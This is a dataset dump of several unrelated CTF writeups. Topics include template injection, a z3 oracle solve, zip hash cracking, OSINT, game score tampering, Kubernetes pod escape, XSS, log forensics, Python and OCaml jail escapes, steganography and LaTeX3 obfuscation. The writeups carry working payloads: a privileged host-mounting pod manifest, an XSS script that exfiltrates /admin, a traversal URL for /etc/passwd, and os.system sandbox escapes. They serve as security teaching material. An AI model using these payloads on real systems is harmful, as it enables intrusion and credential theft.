text_chunk
stringlengths 151
703k
|
---|
Valentine is an easy-difficulty web challenge from the hxp 2022 CTF, involving the exploitation of a **Server Side Template Injection** vulnerability useful to obtain remote code execution. The exploitation is possible thanks to an **undocumented feature** in Express and **EJS** that allows bypassing the security checks made by the application and rendering arbitrary templates. The intended solution adopted a similar approach but used a documented feature that will be covered in the final chapter.
Writeup: [https://maoutis.github.io/writeups/Web%20Hacking/valentine/](https://maoutis.github.io/writeups/Web%20Hacking/valentine/)
Video: [https://youtu.be/omMMpjywq64](https://youtu.be/omMMpjywq64) |
# angstromctf 2023 writeup
## Challenge description

## Script :
```python#!/usr/local/bin/pythonimport random
with open('flag.txt', 'r') as f: FLAG = f.read()
assert all(c.isascii() and c.isprintable() for c in FLAG), 'Malformed flag'N = len(FLAG)assert N <= 18, 'I\'m too lazy to store a flag that long.'p = Nonea = NoneM = (1 << 127) - 1
def query1(s): if len(s) > 100: return 'I\'m too lazy to read a query that long.' x = s.split() if len(x) > 10: return 'I\'m too lazy to process that many inputs.' if any(not x_i.isdecimal() for x_i in x): return 'I\'m too lazy to decipher strange inputs.' x = (int(x_i) for x_i in x) global p, a p = random.sample(range(N), k=N) a = [ord(FLAG[p[i]]) for i in range(N)] res = '' for x_i in x: res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n' return res
query1('0')
def query2(s): if len(s) > 100: return 'I\'m too lazy to read a query that long.' x = s.split() if any(not x_i.isdecimal() for x_i in x): return 'I\'m too lazy to decipher strange inputs.' x = [int(x_i) for x_i in x] while len(x) < N: x.append(0) z = 1 for i in range(N): z *= not x[i] - a[i] return ' '.join(str(p_i * z) for p_i in p)
while True: try: choice = int(input(": ")) assert 1 <= choice <= 2 match choice: case 1: print(query1(input("\t> "))) case 2: print(query2(input("\t> "))) except Exception as e: print("Bad input, exiting", e) break```
## Understanding the script :
From the script we can understand that the flag contains only ascii characters that are stored in an array with their Decimal values.
Now let's analyse query1 functions:
we notice that once we launch this function the array is shuffled randomly, we can pass a list of decimal values and we get a sum or each x_i as following
```a_0 * x_i^0 + a_1 * x_i^1 + a_2 * x_i^2 ... a_n * x_i^n (with n == lenght of array)
```
While 0^0 is equal to 1 we can have the value of a_0 from the shuffled array (here i've got an idea to ask the server many time with query 1 and x_0 = 0 to retrive the used characters in the FLAG. this will help me to reduce the search time.
To do that i opened a socket and i asked server 100 times :
```pythonimport socketfrom z3 import *s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("challs.actf.co", 32100))candidate = []for i in range(100):
s.sendall(str(1).encode(encoding = 'UTF-8')+ b"\n")
data = s.recv(1200)
data = data.decode().split("\n")
s.sendall(str(0).encode(encoding = 'UTF-8')+ b"\n")
data = s.recv(1200)
data = data.decode().split("\n") v = int(data[0]) if(not( v in candidate)): candidate.append(v)
print(candidate)```
## Result:
```>>> [48, 55, 102, 123, 98, 99, 54, 97, 56, 125, 116]```
To make sure i replied the script twice and i had the same result so now i have FLAG characters, all i need to do is to find it's length (some characeters may be used more than one time) and the original index for each character
As i'm artificial intelligence and deep learning graduate i'm fan of sat solvers wich are part of classicial AI. I said by my self we can solve the equation system with z3 (sat solver in python) with the followings constraints :
```a_0 = query1(0)a_0 * 1^0 + a_1 * 1^1 + a_2 * 1^2 ... a_n *1^n = query1(1)...
```
You'll notice that i ignored modulo here because m is huge and my results never been greater than m so no need to the reminder
Let's move to query2. To make it simple this function is asking us for the shuffled array values,if we pass them in the right order it will show us back their original indexes in the FLAG, otherwise if we do one mistake it will return list of zeros.
In both cases this function will give us information about the FLAG's lenght (18 in our case)
Now i'll modelise my probleme is z3. First i declare variables:
```pythonfor i in range(18): exec("x"+str(i)+" = Int('x"+str(i)+"')")```
Next step i call server with query1 and i create an equation system:
```pythondef rec(n,x): op='(' for i in range(n): op+="x"+str(i)+"*"+str(x)+"**"+str(i)+"+" return(op)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("challs.actf.co", 32100))data = s.recv(1200)data = data.decode().split("\n")s.sendall(str(1).encode(encoding = 'UTF-8')+ b"\n")data = s.recv(1200)data = data.decode().split("\n")s.sendall('0 1 2 3 4 5 6'.encode(encoding = 'UTF-8')+ b"\n")data = s.recv(1200)data = data.decode().split("\n")print(data)num0 = data[0]num1 = data[1]num2 = data[2]num3 = data[3]num4 = data[4]num5 = data[5]num6 = data[6]
op=''op+=rec(18,0)[:-1]+ ") == "+num0 +" ,"op+=rec(18,1)[:-1]+ ") == "+num1 +" ,"op+=rec(18,2)[:-1]+ ")== "+num2 +" ,"op+=rec(18,3)[:-1]+ ") == "+num3 +" ,"op+=rec(18,4)[:-1]+ ") == "+num4
print(op)
```
## Result:```>>> op'(x0*0**0+x1*0**1+x2*0**2+x3*0**3+x4*0**4+x5*0**5+x6*0**6+x7*0**7+x8*0**8+x9*0**9+x10*0**10+x11*0**11+x12*0**12+x13*0**13+x14*0**14+x15*0**15+x16*0**16+x17*0**17) == 54 ,(x0*1**0+x1*1**1+x2*1**2+x3*1**3+x4*1**4+x5*1**5+x6*1**6+x7*1**7+x8*1**8+x9*1**9+x10*1**10+x11*1**11+x12*1**12+x13*1**13+x14*1**14+x15*1**15+x16*1**16+x17*1**17) == 1487 ,(x0*2**0+x1*2**1+x2*2**2+x3*2**3+x4*2**4+x5*2**5+x6*2**6+x7*2**7+x8*2**8+x9*2**9+x10*2**10+x11*2**11+x12*2**12+x13*2**13+x14*2**14+x15*2**15+x16*2**16+x17*2**17)== 25106640 ,(x0*3**0+x1*3**1+x2*3**2+x3*3**3+x4*3**4+x5*3**5+x6*3**6+x7*3**7+x8*3**8+x9*3**9+x10*3**10+x11*3**11+x12*3**12+x13*3**13+x14*3**14+x15*3**15+x16*3**16+x17*3**17) == 18966231651 ,(x0*4**0+x1*4**1+x2*4**2+x3*4**3+x4*4**4+x5*4**5+x6*4**6+x7*4**7+x8*4**8+x9*4**9+x10*4**10+x11*4**11+x12*4**12+x13*4**13+x14*4**14+x15*4**15+x16*4**16+x17*4**17) == 2270285768642'
```
I noticed that solvig 5 equations is enough. Now i need to reduce the search space so i add the following consraints :
```pythonfor i in range(1,18): op+=",Or(" op+=",".join(["x"+str(i)+" == "+str(c) for c in candidate]) op+=")"```
## Result:```>>> op'(x0*0**0+x1*0**1+x2*0**2+x3*0**3+x4*0**4+x5*0**5+x6*0**6+x7*0**7+x8*0**8+x9*0**9+x10*0**10+x11*0**11+x12*0**12+x13*0**13+x14*0**14+x15*0**15+x16*0**16+x17*0**17) == 54 ,(x0*1**0+x1*1**1+x2*1**2+x3*1**3+x4*1**4+x5*1**5+x6*1**6+x7*1**7+x8*1**8+x9*1**9+x10*1**10+x11*1**11+x12*1**12+x13*1**13+x14*1**14+x15*1**15+x16*1**16+x17*1**17) == 1487 ,(x0*2**0+x1*2**1+x2*2**2+x3*2**3+x4*2**4+x5*2**5+x6*2**6+x7*2**7+x8*2**8+x9*2**9+x10*2**10+x11*2**11+x12*2**12+x13*2**13+x14*2**14+x15*2**15+x16*2**16+x17*2**17)== 25106640 ,(x0*3**0+x1*3**1+x2*3**2+x3*3**3+x4*3**4+x5*3**5+x6*3**6+x7*3**7+x8*3**8+x9*3**9+x10*3**10+x11*3**11+x12*3**12+x13*3**13+x14*3**14+x15*3**15+x16*3**16+x17*3**17) == 18966231651 ,(x0*4**0+x1*4**1+x2*4**2+x3*4**3+x4*4**4+x5*4**5+x6*4**6+x7*4**7+x8*4**8+x9*4**9+x10*4**10+x11*4**11+x12*4**12+x13*4**13+x14*4**14+x15*4**15+x16*4**16+x17*4**17) == 2270285768642,Or(x1 == 48,x1 == 55,x1 == 102,x1 == 98,x1 == 99,x1 == 54,x1 == 97,x1 == 56,x1 == 116,x1 == 123,x1 == 125),Or(x2 == 48,x2 == 55,x2 == 102,x2 == 98,x2 == 99,x2 == 54,x2 == 97,x2 == 56,x2 == 116,x2 == 123,x2 == 125),Or(x3 == 48,x3 == 55,x3 == 102,x3 == 98,x3 == 99,x3 == 54,x3 == 97,x3 == 56,x3 == 116,x3 == 123,x3 == 125),Or(x4 == 48,x4 == 55,x4 == 102,x4 == 98,x4 == 99,x4 == 54,x4 == 97,x4 == 56,x4 == 116,x4 == 123,x4 == 125),Or(x5 == 48,x5 == 55,x5 == 102,x5 == 98,x5 == 99,x5 == 54,x5 == 97,x5 == 56,x5 == 116,x5 == 123,x5 == 125),Or(x6 == 48,x6 == 55,x6 == 102,x6 == 98,x6 == 99,x6 == 54,x6 == 97,x6 == 56,x6 == 116,x6 == 123,x6 == 125),Or(x7 == 48,x7 == 55,x7 == 102,x7 == 98,x7 == 99,x7 == 54,x7 == 97,x7 == 56,x7 == 116,x7 == 123,x7 == 125),Or(x8 == 48,x8 == 55,x8 == 102,x8 == 98,x8 == 99,x8 == 54,x8 == 97,x8 == 56,x8 == 116,x8 == 123,x8 == 125),Or(x9 == 48,x9 == 55,x9 == 102,x9 == 98,x9 == 99,x9 == 54,x9 == 97,x9 == 56,x9 == 116,x9 == 123,x9 == 125),Or(x10 == 48,x10 == 55,x10 == 102,x10 == 98,x10 == 99,x10 == 54,x10 == 97,x10 == 56,x10 == 116,x10 == 123,x10 == 125),Or(x11 == 48,x11 == 55,x11 == 102,x11 == 98,x11 == 99,x11 == 54,x11 == 97,x11 == 56,x11 == 116,x11 == 123,x11 == 125),Or(x12 == 48,x12 == 55,x12 == 102,x12 == 98,x12 == 99,x12 == 54,x12 == 97,x12 == 56,x12 == 116,x12 == 123,x12 == 125),Or(x13 == 48,x13 == 55,x13 == 102,x13 == 98,x13 == 99,x13 == 54,x13 == 97,x13 == 56,x13 == 116,x13 == 123,x13 == 125),Or(x14 == 48,x14 == 55,x14 == 102,x14 == 98,x14 == 99,x14 == 54,x14 == 97,x14 == 56,x14 == 116,x14 == 123,x14 == 125),Or(x15 == 48,x15 == 55,x15 == 102,x15 == 98,x15 == 99,x15 == 54,x15 == 97,x15 == 56,x15 == 116,x15 == 123,x15 == 125),Or(x16 == 48,x16 == 55,x16 == 102,x16 == 98,x16 == 99,x16 == 54,x16 == 97,x16 == 56,x16 == 116,x16 == 123,x16 == 125),Or(x17 == 48,x17 == 55,x17 == 102,x17 == 98,x17 == 99,x17 == 54,x17 == 97,x17 == 56,x17 == 116,x17 == 123,x17 == 125)'```
Then we pass the expression to the solver:
```>>> exec("sol.add("+op+")")>>> sol.check()sat>>> sol.model()[x6 = 56, x2 = 123, x7 = 99, x3 = 116, x11 = 102, x12 = 102, x13 = 97, x4 = 98, x5 = 56, x17 = 102, x8 = 54, x14 = 125, x9 = 48, x10 = 48, x16 = 97, x15 = 55, x1 = 55, x0 = 54]
```
Perfect. after sloving the system we pass the result to query2 then we reorder the values according to the answer
```>>> msg = str(m[x0])>>> for i in range(1,18):... msg+= " "+str(m[eval("x"+str(i))])>>> msg'54 55 123 116 98 56 56 99 54 48 48 102 102 97 125 55 97 102'```
## Query2 response:

## FLAG:```>>> indexes = "9 15 4 2 16 11 6 1 12 7 10 3 5 13 17 14 0 8".split(" ")>>> msg = msg.split(" ")>>> flag = "".join([ chr(int(msg[int(indexes.index(str(i)))])) for i in range(0,18)])>>> flag'actf{f80f6086a77b}'```
## Full Script:
```python
import socketimport itertoolsfrom z3 import *sol = Solver()
candidate = [48, 55, 102, 98, 99, 54, 97, 56, 116,123,125]M = (1 << 127) - 1
def crk(a,x_i,M): return sum(a[j] * x_i ** j for j in range(18)) % M
def rec(n,x): op='(' for i in range(n): op+="x"+str(i)+"*"+str(x)+"**"+str(i)+"+" return(op)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("challs.actf.co", 32100))data = s.recv(1200)data = data.decode().split("\n")s.sendall(str(1).encode(encoding = 'UTF-8')+ b"\n")data = s.recv(1200)data = data.decode().split("\n")s.sendall('0 1 2 3 4 5 6'.encode(encoding = 'UTF-8')+ b"\n")data = s.recv(1200)data = data.decode().split("\n")
num0 = data[0]num1 = data[1]num2 = data[2]num3 = data[3]num4 = data[4]num5 = data[5]num6 = data[6]
for i in range(18): exec("x"+str(i)+" = Int('x"+str(i)+"')")
op=''op+=rec(18,0)[:-1]+ ") == "+num0 +" ,"op+=rec(18,1)[:-1]+ ") == "+num1 +" ,"op+=rec(18,2)[:-1]+ ")== "+num2 +" ,"op+=rec(18,3)[:-1]+ ") == "+num3 +" ,"op+=rec(18,4)[:-1]+ ") == "+num4 #+" ,"#op+=rec(18,6)[:-1]+ " == "+num6
for i in range(1,18): op+=",Or(" op+=",".join(["x"+str(i)+" == "+str(c) for c in candidate]) op+=")"
exec("sol.add("+op+")")sol.check()print(sol.check())sol.model()m = sol.model()print(m)
s.sendall(str(2).encode(encoding = 'UTF-8')+ b"\n")
data = s.recv(1200)
data = data.decode().split("\n")print(data)
msg = str(m[x0])for i in range(1,18): msg+= " "+str(m[eval("x"+str(i))])
print("msg =",msg)s.sendall(msg.encode(encoding = 'UTF-8')+ b"\n")data = s.recv(1200)data = data.decode().split("\n")print(data)
``` |
# Get Docxed## CategoryMiscellaneous## Points250 ## DescriptionMy professor hid the answers to the final exam somewhere in this 2305_Syllabus_Spring2018.docx file. Can you find it?## SolutionDocx files are actually just zip files. If you append .zip to the end of the file, you can open the ZIP file and browse the contents. Once you are able to see the contents of the zip file, you will find another zip file within it called c_r_a_z_y.zip. If you try to open it, you will notice that it is password protected. In order to get the flag, you will need to crack the password. To crack the password, you will:1) Enter this command `zip2john c_r_a_z_y.zip > ziphash.txt`2) Open ziphash.txt and remove the header and footer, leaving just the hash `$zip2$*0*1*0*e6e036cfbfb6f610*ead6*1a*3cae4fec2b3500c29b9ab01355f12e395736231741bbef27d266*6424267e5acc4b5e52e8*$/zip2$`3) Enter this command `hashcat -a 0 -m 13600 ziphash.txt /usr/share/wordlists/rockyou.txt`4) The cracked password will be displayed -> "xwekl12569"## Flagtexsaw{lM@0_oK_y0u_sM@rT}## HintDon't let Word recover the contents of the document! |
# Description
> I found this hacker group and they're acting kinda strange. Let's do some diggin'. Maybe we can find their discord server? I thought they linked it on their website before...
# Solution
Search old site at internet archive https://archive.org/ .
I find discord link at old site's top page.
https://web.archive.org/web/20230419213033/https://tcc.lol/
Finally, I just found flag in discort page. |
# Crypto/Warmup 2
The Cipher given was a `Bifid Cipher` (from wikipedia). So, simply decoded it using [this site](https://www.dcode.fr/bifid-cipher)
> `Flag : cvctf{funbiffiddecoding}}`
# [Original Writeup](https://themj0ln1r.github.io/posts/cryptoversectf23) |
# Beat me!
## Enumeration
**Home page:**

In here, we can type our name to play a spaceshooter client-side game.


After the game has ended, it'll send a POST request to `/scores`, with JSON data:

Since the challenge has a tag called "client-side game", ***I wonder if we can control the `signature` key's value.***
**Now, let's try to modify it:**

Nope. So the back-end must checking the signature is correct or not.
**That being said, let's try to read the source code of the game:**

Oh boi... It's **obfuscated**...
**Umm... Let's search for `signature`:**

Found it!
**Then, I set some breakpoint in the for loop, and trigger the breakpoint by ending the game:**

Hmm?? `00bfuScat3d_K3y`?
What this for loop does is to **hash something? with the `00bfuScat3d_K3y` salt**. The `_0x8a3192`'s output is the correct `signature`.
However, I tried to copy and paste that for loop statement to generate the same `signature`, but no dice...
**Also, there is a big long list of array:**


In that array, we can see there is a method called `setScore()`:

Again, I tried to find where does this method is being called, no luck.
## Exploitation
At this point, **I'm trying to control the score, so that the hashing for loop statement will generate the correct `signature`.**
**Now, we can set a breakpoint when the hashing statement's function is invoked:**

**Then, gain some points and end the game:**

As expected, we hit the breakpoint.
Next, I noticed that the `_0x359a29` variable's value is `2`, which is the current game state's score.
**Hmm... Can I access that variable in the "Console" tab during the breakpoint??**

Wait, I can? I never seen this before!!
That being said, we can modify `_0x359a29`'s value in the "Console" tab!!
**Since the challenge's description says "Your goal is to beat him.. by any way". Let's update the score to `1337421`:**


As you can see, it's updated!
**Let's click the "Resume" button to finish the breakpoint:**

**Then, in the Burp Suite HTTP history, we should see a response with "Invalid signature":**

Finally, send that request to Repeater, and ***change the `score` key's value to `1337421`***:


Boom!! We successfully beat the pro player, and got the flag!
- **Flag: `PWNME{Ch3a7_0n_Cl1en7_G4m3_Is_n0T_H4rD_87}`**
## Conclusion
What we've learned:
1. Deobfuscating JavaScript Code & Exploiting Client-Side Game |
Using `kubectl auth can-i --list` we find we still can't look at secrets directly, but we can create pods now.
These pods don't have any security policy applied, meaning there are plenty of privesc routes we can take, most of them described [here](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation).
Here is the pod i created:
```yamlapiVersion: v1kind: Podmetadata: name: everything-allowed-exec-pod labels: app: pentestspec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: busybox imagePullPolicy: IfNotPresent securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: /```
We can then `kubectl exec -it pod/everything-allowed-exec-pod sh` and explore the host filesystem at `/host`.
Looking in `/host/etc/kubernetes/admin.conf` (the standard location for the cluster admin config), we get connection details to login as cluster admin:
```users:- name: kubernetes-admin user: client-certificate-data: <long base64 string> client-key-data: <long base64 string>```
We put this in our terminals `.kube/config`, and use it to enumerate the secrets with `kubectl get secret -A`
We find a secret in the `kube-system` namespace, from which we get the flag `punk_{3WPF4FB37UMJV31D}`
I found out later this wasn't actually the intended solution - turns out you have permission to edit the namespace so you can just remove the pod security policy and do the same as k8s 4. |
We were given a host with a tic tac game
First thing I performed was dirsearch were there wer a lot .git files so I simply visited <host>/.git where there was a whole github repo disclosure. On the repo there was a FLAGGGG.md file which simply had the flag 

```Flag - VishwaCTF{0ctOc@t_Ma5c0t}``` |
We can still inject script tags into this comments field, but we can't embed scripts into them, because the CSP (Content Security POlicy) only allows us to load scripts from `*.<random-numbers>.ctf.one.dr.punksecurity.cloud`.
Running the command they gave for subdomain takeover scanning we find that `docs.<...>` points to GitHub Pages, so we can set up a simple GitHub pages repo and use their subdomain to host whatever we want. `payload.js`:
```fetch('/admin').then(r => r.text()).then(d => { let data = new URLSearchParams(); data.append('name', 'admin page'); data.append('comment', d); fetch('/new-comment', { method: 'POST', headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: data, });})```
Then our comment just loads this script:
```<script src="http://docs.47f325c9-f4c.ctf.one.dr.punksecurity.cloud/payload.js"></script>``` |
# Cryptoverse CTF 2023
## HoYoverse I: Prologue PreludeChallenge: You stumble upon a thread that claims to have uncovered the address of HoYoverse's secret headquarters. As you eagerly click on the link, you're greeted with an image of a bustling city street. Find the address of the exact location where this image was taken.
We're given an image: OSINT.png, and straight away notice some useful text on the side of the building to search on: "111" "Tarification" "robert" bour...

A quick Google search on these words found the building on the first Google page:111 St Duke, Montréal, QC H3C 2M1 - Cité Multimédia

So, go to Google Maps and enter the address, and find the corner where the photo was taken. Unfortunately the flag failed first time for me, I got the address as "802 Rue Ottawa". When this failed, I wandered round a bit more, then looked again and this time got "802 Ottawa St". This English version was correct.

Flag: cvctf{802 Ottawa St} |
# CTF Challenge Writeup: Mah Eyes are RED
## Challenge Information
- Name: Mah Eyes are RED- Category: Stegonography
## Challenge Analysis
A picture is given and the challenge name seems to have something to do with it...

The title of the challenge includes a capitalized word 'RED', this gives us a slight hint that something might be hidden on the 'Red plane' of the image.
## Solution
### Step 1: Analyze the file
We can use the **Stegsolve v1.3** by Caesum to analyze the file. During this proces we see that 'Red plane 0' contains some sort of cipher:

### Step 2: Decoding the symbols
After some intense searching, I've found an interesting cipher called the **Cistercian Numerals**:

The symbols present us with the following numbers:
```107 104 105 108 97 100 115```
### Step 3: Decoding the numbers
I used python to decode this information:
```python3 -c "print(chr(107) + chr(104) + chr(105) + chr(108) + chr(97) + chr(100) + chr(115))"```

### Step 4: Using the key
After a failing at decoding the image with the key, I've tested multiple different mutations of the key.Instead of 'khilads' I needed to use 'khiladi' with dynamic settings to extract a new image:

## Flag
`ICTF{Gr33n_Pl4nt_G0_Brrrr}`
## Resources
- Tool: [Stegsolve v1.3](http://www.caesum.com/handbook/Stegsolve.jar)- Reference: [Cistercian numerals](https://en.wikipedia.org/wiki/Cistercian_numerals)
## Writeup Author
- Twitter: [@Cyber8RU7U5](https://twitter.com/Cyber8RU7U5) |
# OJail
```shmj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201 OCaml version 4.08.1
# ```
Okay its time to learn `OCaml`. I quickly checked the Ocaml hello world program and tried it.
```shmj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201 OCaml version 4.08.1
# print_string "hello world!\n";;hello world!- : unit = ()# ```Yes, it worked. So, I found that with `Sys.command` we can executed the system commands. I tried with `ls`. I found that there were a flag.txt but it was not the correct one. Then looked into `secret` directory and catted out the `flag-1d573e0faa99.json`
```shmj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201 OCaml version 4.08.1
# Sys.command "ls";;Dockerfilebuild.shflag.txtsecret- : int = 0# Sys.command "ls secret";; flag-1d573e0faa99.json- : int = 0# Sys.command "cat secret/flag-1d573e0faa99.json";;{ "message": "Flag is here. OCaml syntax is easy, right?", "flag": "cvctf{J41L3d_OOOO-C4mL@@}"}- : int = 0 ```
# [Original Writeup](https://themj0ln1r.github.io/posts/cryptoversectf23) |
# dev.corp 1/4
## Background
The famous company dev.corp was hack last week.. They don't understand because they have followed the security standards to avoid this kind of situation. You are mandated to help them understand the attack. For this first step, you're given the logs of the webserver of the company. Could you find : - The CVE used by the attacker ? - What is the absolute path of the most sensitive file recovered by the attacker ? Format : **Hero{CVE-XXXX-XXXX:/etc/passwd}** Author : **Worty** Here is a diagram representing the company's infrastructure:

## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/HeroCTF-v5/Forensic/dev-corp-1/access.log):**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Forensic/dev-corp-1-4)-[2023.05.13|15:17:07(HKT)]└> file access.log access.log: ASCII text, with very long lines (455)┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Forensic/dev-corp-1-4)-[2023.05.13|15:17:09(HKT)]└> wc -l access.log 1856 access.log```
It's a webserver access log.
**In the company's infrastructure's diagram, we can see that it has a Gitlab service:**

**Hmm... Let's search for `git` in the `access.log`:**

Right off the bat, we see something weird.
Someone sent 4 requests to `/shell` and `/.git`. However, those requests response a **404 Not Found HTTP status**. Let's move on!

Then, I found the `/.git` requests again. But this time, it responses a **200 OK HTTP status**.
**Also, there's a very sussy GET request in `/wp-admin/admin-ajax.php`:**```internalproxy.devcorp.local - - [02/May/2023:13:12:29 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../etc/passwd HTTP/1.1" 200 2240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"```
The `file` GET parameter is a payload for Directory Traversal.
**Let's search for "Wordpress duplicator_download CVE":**

**Nice! We found the CVE number: `CVE-2020-11738`.**
This WordPress `Duplicator` plugin is vulnerable to Directory Traversal!
**Now, we can use `duplicator_download` to search which files are being recovered by the attacker!**

Oh no! The attacker retrieved the `webuser` private SSH key!!! Which means he/she can access the web server if the SSH service is enabled!
- **Flag: `Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa}`**
## Conclusion
What we've learned:
1. HTTP Access Log Forensic |
# Pyjail
## Background
Welcome in jail. If it's not your first time, you should be out quickly. If it is your first rodeo, people have escape before you... I'm sure you'll be fine. > Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/) Format : **Hero{flag}** Author : **Log_s**

## Find the flag
**In this challenge, we can `nc` to the instance machine:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Misc/PyJail)-[2023.05.13|18:17:56(HKT)]└> nc dyn-03.heroctf.fr 10441 >> helloAn error occured. But which...>> ```
**In here, we can enter some python code:**```shell>> print(1+1)2```
**However, some characters are not allow:**```shell>> _An error occured. But which...>> aAn error occured. But which...```
But we don't know it's a syntax error or a forbidden character...
**After fumbling around, I found [this writeup from CSAW CTF Qualification Round 2020](https://ctftime.org/writeup/23430):**

**Payload:**```pythonprint(''.__class__.__mro__[1].__subclasses__()[109].__init__.__globals__['sys'].modules['os'].__dict__['system']('ls -lah'))```
What this payload does is using the string `''` object to find the `os` module, and execute OS command via `os.system()`.
> Note: You can read more about that in my recent writeup in PwnMe Qualifications : “8 bits”'s [Anozer Blog](https://siunam321.github.io/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog/), it's about Class Pollution.
**When we execute that payload:**```shell>> print(''.__class__.__mro__[1].__subclasses__()[109].__init__.__globals__['sys'].modules['os'].__dict__['system']('ls -lah'))total 16Kdrwxr-xr-x 1 root root 4.0K May 12 10:35 .drwxr-xr-x 1 root root 4.0K May 13 10:17 ..-rwsr-xr-x 1 root root 133 May 12 10:17 entry.sh-rwsr-xr-x 1 root root 845 May 12 10:17 pyjail.py0```
It ran our OS command!
**Let's get the flag!**```shell>> print(''.__class__.__mro__[1].__subclasses__()[109].__init__.__globals__['sys'].modules['os'].__dict__['system']('cat pyjail.py'))#! /usr/bin/python3
# FLAG : Hero{nooooo_y0u_3sc4p3d!!}
def jail(): user_input = input(">> ")
filtered = ["eval", "exec"] valid_input = True for f in filtered: if f in user_input: print("You're trying something fancy aren't u ?") valid_input = False break for l in user_input: if ord(l) < 23 or ord(l) > 126: print("You're trying something fancy aren't u ?") valid_input = False break if valid_input: try: exec(user_input, {'__builtins__':{'print': print, 'globals': globals}}, {}) except: print("An error occured. But which...")
def main(): try: while True: jail() except KeyboardInterrupt: print("Bye")
if __name__ == "__main__": main()0```
- **Flag: `Hero{nooooo_y0u_3sc4p3d!!}`**
## Conclusion
What we've learned:
1. Python Jail Escape |
# CTF Challenge Writeup: Nintendo Base64
## Challenge Information
- Name: Nintendo Base64- Category: Crypto
## Challenge Analysis
The challenge was fairly easy, a file is given with Base64 encoded data. The goal was to find the flag.
## Solution
### Step 1: Analysing and decoding the data
Nintendo has used multiple Base64 encoding functions in a row to 'encrypt/obfuscate' data in the past. The data in this challenge looks exactly the same, and by removing the new lines and decoding it multiple times we get the flag!
## Flag
`CHTB{3nc0ding_n0t_3qu4l_t0_3ncrypt10n}`
## Conclusion
Encoding/obfuscation != Encryption
## Writeup Author
- Twitter: [@Cyber8RU7U5](https://twitter.com/Cyber8RU7U5)- GitHub: [Cyber8RU7U5](https://github.com/Cuber8RU7U5)
|
**Description**
Welcome to the web!https://charlotte-tlejfksioa-ul.a.run.app/
**Knowledge required :**1) Basic Understanding of HTML source code2) Basic Understanding of HTTP methods
**Solution:**
1) Looking at the site and pressing the button on it does not lead to anywhere2) Naturally we look into the source code3) We spot a comment hinting to a `/src` directory```<button onclick='start()'>click me for the flag</button>
```4)Visiting the directory reveals a source code that hints to another directory that contains the flag:```@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])def flag(): return open('flag').read()```
5) Accessing the directory via the PUT command gives us the flag.(I did it with Burp Suite as I observe the site from there, it can be done with curl as well)
```wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}``` |
*For the full experience with images see the original blog post!*
The challenge files contain a Dockerfile that installs `texlive` and executes the file `adventure.tex`.Looking at that file, it is configured to be executed with `pdflatex` and contains a block of code and then two data blocks that seem to be encoded in some way.The first macro `\ExplSyntaxOn` reveals that the file uses LaTeX3 code, so let's look at that first.
## LaTeX3 101
LaTeX3 is an additional interface to provide a modern and consistent programming syntax in LaTeX.It contains library methods for all kinds of tasks like IO, string manipulation, etc. and provides methods to control macro expansion.
Alan Shawn wrote [a tutorial on his blog](https://www.alanshawn.com/latex3-tutorial/) that introduces the most important concepts, methods and data types for programming in LaTeX3.I highly recommend you read this article in case you want to take a closer look at the challenge on your own or would like to write a program in LaTeX3.I will still include a short explanation of the concepts relevant to the challenge though.In case you need to look up methods, the [API documentation](https://ctan.math.illinois.edu/macros/latex/contrib/l3kernel/interface3.pdf) provides detailed technical explanations.I always had a tab open with that document while reading through the challenge code.
So, how does it work?Basically, LaTeX3 introduces a new syntax with `\ExplSyntaxOn` and `\ExplSyntaxOff` that adjusts the interpretation of some characters like `_` and a naming convention for methods and variables.Public variables follow the format `\<scope>_<module>_<description>_<type>`.Public methods on the other hand are named like `\<module>_<description>:<arg-spec>` where arg-spec defines the parameters that this method expects.The basic types are `N and n` which represent a single token or set of tokens with no manipulation.You find an explanation of the types in the tutorial or in the first chapter of the API docs.To control macro expansion the library provides variants of methods that accept expanded parameter types like `x and e`.Those parameters are expanded before being passed into the method.To avoid having to define such variants everywhere you can use the methods `\exp_args:N<args>` with a method and its parameters and define which parameters you want to expand by using the corresponding args-spec of `\exp_args`.
To get a better grasp of the syntax let's look at a simple HelloWorld program first:
```latex#!/usr/bin/latex \batchmode \catcode35=14 \input\catcode`\#=6\documentclass[multi=frame]{standalone}
\ExplSyntaxOn\cs_new:Nn\demo_main:{ \tex_scrollmode:D \tex_message:D {What's~your~name?~}
\tl_clear:N\l_tmpa_tl
\ior_get_term:nN {} \l_tmpa_tl
\exp_args:Nx\iow_term:n { Hello~ \tl_use:N\l_tmpa_tl ! }
\tex_batchmode:D}
\demo_main:\stop\ExplSyntaxOff```
The call to `\cs_new:Nn` defines our main method.We first print the message `What's your name? `.Then we clear the temporary variable `\l_tmpa_tl`, store the next input into it and use it to print our greetings.Instead of the `\exp_args:Nx` we could also use `\iow_term:x`.I used the same parameters as the challenge itself and thus needed to switch to [scrollmode](http://latexref.xyz/Command-line-options.html) to stop for input.
Now, how does `adventure.tex` deobfuscate the main challenge code?Looking through the first block of code in the file you will find the following snippet:
```tex\char_generate:nn{ \int_eval:n { 32+\int_mod:nn { 71+`#1 } {96} }}{12}```
